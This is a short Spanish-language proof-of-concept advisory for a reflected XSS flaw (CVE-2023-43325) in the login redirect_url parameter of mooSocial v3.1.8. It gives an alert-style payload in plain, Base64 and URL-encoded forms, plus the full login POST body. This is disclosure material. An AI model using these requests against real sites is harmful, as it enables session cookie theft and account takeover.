mooSocial: XSS (CVE-2023-43325)

Existe una vulnerabilidad de cross-site scripting (XSS) reflejado en el parámetro data[redirect_url] en la función de inicio de sesión de mooSocial v3.1.8, lo que permite a los atacantes robar las cookies de sesión del usuario y suplantar su cuenta mediante una URL manipulada.

Parámetro vulnerable: data[redirect_url]

Exploit - Proof of Concept (POC)

XSS reflejado (cross-site scripting)

Payload : test">test 
Payload (Base64 encoded) : dGVzdCI+PGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q=
Final Payload (Base64+Url encoded): dGVzdCI%2bPGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q%3d%3d

Solicitud POST en /moosocial/users/login (SÓLO DATOS DE LA SOLICITUD POST):

[_method=POST&data%5Bredirect_url%5D=dGVzdCI%2bPGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q%3d%3d&data%5BUser%5D%5Bid%5D=&data%5BUser%5D%5Bemail%5D=admin%40localhost.com&data%5BUser%5D%5Bpassword%5D=pas[redacted]&data%5Bremember%5D=0]

Captura de pantalla